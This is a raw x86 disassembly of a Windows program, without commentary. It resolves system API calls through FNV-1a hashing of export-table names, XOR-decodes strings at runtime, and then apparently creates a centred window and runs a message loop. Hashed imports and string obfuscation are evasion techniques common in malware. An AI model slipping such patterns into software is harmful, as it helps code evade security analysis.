mov ecx, dword [esi]
add ecx, edx
mov edx, 0xa759195c
mov al, byte [ecx]
inc ecx
test al, al
je 0x4156cd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4156b0
cmp edx, 0xf5164cc5
je 0x4156d9
mov edx, dword [0x42182c]
inc edi
add esi, 4
jmp 0x4156a0
mov esi, dword [esp + 0x14]
mov edx, dword [0x42182c]
push 0xf
push 0xf
mov eax, dword [esi + 0x24]
push 0x258
push 0x190
push 0
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push 0
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [esp + 0x1c], eax
xor edi, edi
mov eax, dword [0x42181c]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x14], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x403bcba0
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x41575d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415740
cmp edx, 0x3fa7b30e
je 0x415768
mov eax, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415730
mov esi, dword [esp + 0x14]
mov edx, dword [0x42181c]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x18], eax
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
push 0
sub edi, 0x12c
call esi
cdq
sub eax, edx
mov esi, eax
sar esi, 1
sub esi, 0xc8
call fcn.004123f0
push 0
push 0
push 0
push 0
push 0x258
push 0x190
push edi
push esi
push 0x96000000
push eax
push dword [esp + 0xa4]
push 0x20
call dword [esp + 0x44]
mov dword [0x421810], eax
xor edi, edi
mov eax, dword [0x42181c]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x14], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x6c02b279
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x41582d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415810
cmp edx, 0x56da8cea
je 0x415838
mov eax, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415800
mov esi, dword [esp + 0x14]
mov edx, dword [0x42181c]
push 0
push dword [esp + 0x20]
mov eax, dword [esi + 0x24]
push dword [0x421810]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov esi, dword [0x42181c]
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
add ecx, esi
xor eax, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x20]
mov dword [esp + 0x1c], eax
lea edi, [esi + eax]
nop dword [eax + eax]
mov ecx, dword [edi]
mov edx, 0x579036df
add ecx, esi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4158bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4158a0
cmp edx, 0x32b080cf
je 0x4158c6
inc dword [esp + 0x24]
add edi, 4
jmp 0x415890
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], edx
lea eax, [esi + eax*2]
movzx eax, word [eax + ecx]
lea eax, [esi + eax*4]
mov eax, dword [eax + edx]
add eax, esi
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x24], eax
add edi, esi
nop dword [eax + eax]
mov ecx, dword [edi]
mov edx, 0x5690354c
add ecx, esi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41592d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415910
cmp edx, 0x39875d9f
je 0x415936
inc dword [esp + 0x24]
add edi, 4
jmp 0x415900
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
push 0x7f00
push 0
lea eax, [ecx + eax*2]
mov ecx, dword [esp + 0x34]
movzx eax, word [eax + esi]
lea eax, [ecx + eax*4]
mov eax, dword [eax + esi]
add eax, esi
call eax
push eax
call dword [esp + 0x2c]
mov cl, 0x5e
mov byte [esp + 0x12], 0
mov al, 0x77
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
sub esp, 0x18
mov byte [esp + 0x29], al
mov edx, esp
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415997
sub ecx, esi
lea eax, [esp + 0x29]
push ecx
push eax
mov ecx, edx
call fcn.0040be50
lea ecx, [esp + 0x15c]
call fcn.00411ee0
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 8
jb 0x4159c6
mov esi, dword [esi]
mov dl, 0x1e
mov dword [esp + 0xd0], 0x575a591e
mov dword [esp + 0xd4], 0x77493e35
xor ecx, ecx
mov dword [esp + 0xd8], 0x69717a70
mov word [esp + 0xdc], 0x363e
mov byte [esp + 0xde], 0
nop dword [eax]
lea eax, [esp + 0xd1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x415a19
mov dl, byte [esp + 0xd0]
jmp 0x415a00
sub esp, 0x18
mov byte [esp + 0xf6], 0
mov edx, esp
lea ecx, [esp + 0xe9]
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415a44
sub ecx, edi
lea eax, [esp + 0xe9]
push ecx
push eax
mov ecx, edx
call fcn.0040be50
lea ecx, [esp + 0x1f0]
call fcn.00411ee0
mov edx, eax
add esp, 0x18
cmp dword [edx + 0x14], 8
jb 0x415a76
mov edx, dword [edx]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415a80
sub ecx, edi
mov eax, 0x7ffffffe
mov edi, dword [esp + 0x130]
sub eax, edi
sar ecx, 1
cmp eax, ecx
jae 0x415aa6
call fcn.004042b0
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
push edi
cmovae eax, dword [esp + 0x124]
push eax
push ecx
push edx
push ecx
push dword [esp + 0x58]
lea ecx, [esp + 0x1b0]
call fcn.0040ce40
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415ad7
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x1a0]
call fcn.0040c100
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x200], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov edx, dword [esp + 0x1ac]
cmp edx, 8
jb 0x415b62
mov ecx, dword [esp + 0x198]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415b58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415c14
push edx
push ecx
call fcn.00418a88
add esp, 8
mov edx, dword [esp + 0x1ec]
xor eax, eax
mov dword [esp + 0x1a8], 0
mov dword [esp + 0x1ac], 7
mov word [esp + 0x198], ax
cmp edx, 8
jb 0x415bc0
mov ecx, dword [esp + 0x1d8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415bb6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415c14
push edx
push ecx
call fcn.00418a88
add esp, 8
mov edx, dword [esp + 0x158]
xor eax, eax
mov dword [esp + 0x1e8], 0
mov dword [esp + 0x1ec], 7
mov word [esp + 0x1d8], ax
cmp edx, 8
jb 0x415c24
mov ecx, dword [esp + 0x144]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415c1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x415c1a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00418a88
add esp, 8
mov esi, dword [0x42181c]
xor eax, eax
mov word [esp + 0x144], ax
mov dword [esp + 0x154], 0
mov dword [esp + 0x158], 7
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
add ecx, esi
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x20]
mov dword [esp + 0x1c], eax
lea edi, [esi + eax]
mov ecx, dword [edi]
mov edx, 0xf78e4a82
add ecx, esi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415c94
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415c77
cmp edx, 0x7e8d0f5c
je 0x415c9d
inc dword [esp + 0x10]
add edi, 4
jmp 0x415c67
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], edx
lea eax, [esi + eax*2]
movzx eax, word [eax + ecx]
lea eax, [esi + eax*4]
mov eax, dword [eax + edx]
add eax, esi
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x10], eax
add edi, esi
mov ecx, dword [edi]
mov edx, 0xf88e4c15
add ecx, esi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415cff
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415ce2
cmp edx, 0xe97c9f83
je 0x415d08
inc dword [esp + 0x10]
add edi, 4
jmp 0x415cd2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
lea eax, [esi + eax*2]
movzx eax, word [eax + ecx]
mov ecx, dword [esp + 0x2c]
lea eax, [esi + eax*4]
mov ecx, dword [eax + ecx]
lea eax, [esp + 0x1f0]
add ecx, esi
cmp dword [esp + 0x204], 8
cmovae eax, dword [esp + 0x1f0]
push eax
push 0
call ecx
push 0
push 0
push 0x10
push eax
call dword [esp + 0x38]
xorps xmm0, xmm0
mov dword [esp + 0x98], 0
movaps xmmword [esp + 0x80], xmm0
movq qword [esp + 0x90], xmm0
nop dword [eax]
mov edi, dword [0x42181c]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x7d57c9f5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415dbd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415da0
cmp edx, 0xf737ba6e
je 0x415dc6
inc dword [esp + 0x10]
add esi, 4
jmp 0x415d90
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x421810]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x90]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x415f8e
mov edi, dword [0x42181c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0xde32ae16
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415e4d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415e30
cmp edx, 0xa8a7e4ea
je 0x415e56
inc dword [esp + 0x10]
add esi, 4
jmp 0x415e20
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x421810]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x8c]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x416002
mov edi, dword [0x42181c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x89bd2b82
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415edd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415ec0
cmp edx, 0xcd2bf3d7
je 0x415ee6
inc dword [esp + 0x10]
add esi, 4
jmp 0x415eb0
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x80]
mov ecx, dword [esp + 0x10]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ecx, dword [0x42181c]
xor edi, edi
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, ecx
mov eax, dword [esi]
mov edx, 0x836d5834
add eax, ecx
mov cl, byte [eax]
inc eax
test cl, cl
je 0x415f54
movsx ecx, cl
lea eax, [eax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [eax - 1]
test cl, cl
jne 0x415f37
cmp edx, 0xdf937046
je 0x415f60
mov ecx, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415f27
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x80]
mov edx, dword [0x42181c]
push eax
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x415d70
mov edi, dword [0x421818]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x3552a415
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415fd3
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415fb6
cmp edx, 0x54694518
je 0x415fdc
inc dword [esp + 0x10]
add esi, 4
jmp 0x415fa6
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 4
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x415d70
mov edi, dword [0x421818]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xce1c4171
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41604d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x416030
cmp edx, 0xb45609e1
je 0x416056
inc dword [esp + 0x10]
add esi, 4
jmp 0x416020
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push dword [0x421820]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.00416250
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 6
mov dword [esp + 0x3c], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [esp + 0x44], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3